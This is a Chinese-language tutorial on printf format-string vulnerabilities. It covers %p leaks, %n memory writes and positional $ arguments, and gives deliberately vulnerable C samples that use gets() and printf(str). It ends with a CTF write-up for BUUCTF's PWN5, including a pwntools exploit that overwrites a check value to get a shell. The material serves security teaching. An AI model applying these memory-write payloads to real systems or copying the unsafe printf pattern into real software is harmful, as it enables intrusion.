简介

格式化字符串漏洞发现于2000年左右,利用printf()等的输出造成内存的泄露与内存的读写。本文章主要讨论printf()函数

格式化字符串常见的语法

  • %d 打印 signed int
  • %u 打印 unsigned int
  • %s 打印参数地址所指向的字符串
  • %x 打印十六进制整数
  • %p 打印参数地址
  • %c 打印一字节字符

%s 打印宽度位n的字符串,长度不够则在前面填充空格

长度的控制

  • %d 4字节
  • %hd 2字节
  • %hhd 1字节
  • %ld 大于4字节

关于格式化字符串中的漏洞

关于漏洞的原理

以下为printf()正常用法

1
2
3
4
5
6
7
#include<stdio.h>

int main()
{
char str[100] = "hello,world";
printf("%s\n", str);
}

运行后该程序会输出hello,world并换行

但是,以下写法也能正常输出

1
2
3
4
5
6
7
#include<stdio.h>

int main()
{
char str[100] = "hello,world\n";
printf(str);
}

此处的输出结果依旧为hello,world并换行

因为此处printf(str)printf("hello,world\n")等效

这就产生一个漏洞,如果str是可以被控制内容的,那么是不是就可以让printf()打印出他不该打印的东西

1
2
3
4
5
6
7
8
#include<stdio.h>

int main()
{
char str[100];
gets(str);
printf(str);
}

输入%p 会发现printf()并没有打印%p而是打印出了一段地址,造成了地址的泄露

因为此时printf(str)printf("%p")等效

关于%n

  • %n 将当前已经打印字符的个数写入参数地址处(4字节)
  • %hn 2字节
  • %hhn 1字节
1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>

int main()
{
char s = 'A';
int* a=(int*)malloc(sizeof(int));
printf("%10c%n",s,a);
printf("%d\n", *a);
}

在第一个printf中已经打印了         A(九个空格加一个A)共十个字符后又把10这个值付给了int型指针a(4字节)第二个printf对a解引用发现a指向的值为10

因此完整的输出结果为

         A10

关于$符号

$ :指定占位符

  • %<整数n>$x 指定输出第n给参数
1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>

int main()
{

int a=1;
int b=2;
int c=3;
char s[50];
scanf("%s",s);
printf(s,a,b,c);
}

如果输入%d,%d,%d 则会输出1,2,3,同样的,如果输入%d则只会输出1

可是,如果输入%2$d则会直接输出第二个参数b也就是2

关于参数不足

关于printf()我们都知道,在一般情况下,前面的百分号与后面的参数一一对应。

如果参数不足会怎么样?

printf()会在寄存器和栈上一直找,直到找到能对应输出的数,这样,就会把一些隐藏的信息给打印出来。

%d %u %x %p会打印地址

%s 则会打印这个地址指向的位置

因此$符号就是制造参数不足的情况

eg: %100$x就是对应第100个参数,参数肯定不足,除非你真的给printf传了100个参数…….

注:x86和x64架构下参数不足时泄露的东西位置有差别

scanf的格式化字符串漏洞

可以直接在指定地址内写入

若出现scanf(buf)

buf可以为格式化字符串(%x$s)+指针地址,这样就可以直接向指针所指向的地址处写入数据

若指针为stdout,则可以构造stdout泄露指定位置的地址

若指针为malloc_hook,free_hook等函数,可以直接往里写,不需要伪造堆

实操

题目:**[第五空间2019 决赛]PWN5**

来源:[buuctf-PWN](BUUCTF在线评测 (buuoj.cn))

分析文件

2

32位架构开启了canary和nx保护

3

代码就是从一个文件中读取4字节的随机数存放到地址0x804C044

之后让你输入name 存放到buf中

之后在输出一些字符串,以及buf 后让你输入passwd 存放到nptr中

最后检查nptr的值和4字节的随机数是否相等

4

利用漏洞

由于printf()直接输出buf,因此可以利用格式化字符串漏洞

5

首先输入几个a,在一直输入%p看能不能找到把a存到栈上的哪里了

由于a的ascii码为0x61,因此不难发现,第十个%p的位置就是输入的那几个a

因此可以直接利用%10$定位到这个位置

1
2
3
4
5
6
addr1=0x804C044
addr2=addr1+1
addr3=addr2+1
addr4=addr3+1

payload=p32(addr1)+p32(addr2)+p32(addr3)+p32(addr4)+ '%10$n%11$n%12$n%13$n'

0x804c044往后直接利用%n修改那4字节随机数的值

前面输出的地址总的字节数加起来为4+4+4+4=16 十六进制为0x10

因此每个字节都是0x10

所以最后的passwd直接就是0x10101010四个16连在一块

所以第二次提交数据,记得要转化成字符串形式

1
r.sendline(str(0x010101010))

最终得到shell

1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*

#context.log_level='debug'

r=remote('node5.buuoj.cn',27038)
#r=process('./pwn')

addr1=0x804C044
addr2=addr1+1
addr3=addr2+1
addr4=addr3+1

payload=p32(addr1)+p32(addr2)+p32(addr3)+p32(addr4)+ '%10$n%11$n%12$n%13$n'
#r.recvuntil("name:")
r.sendline(payload)

r.recvuntil("Hello,")

r.sendline(str(0x010101010))

r.interactive()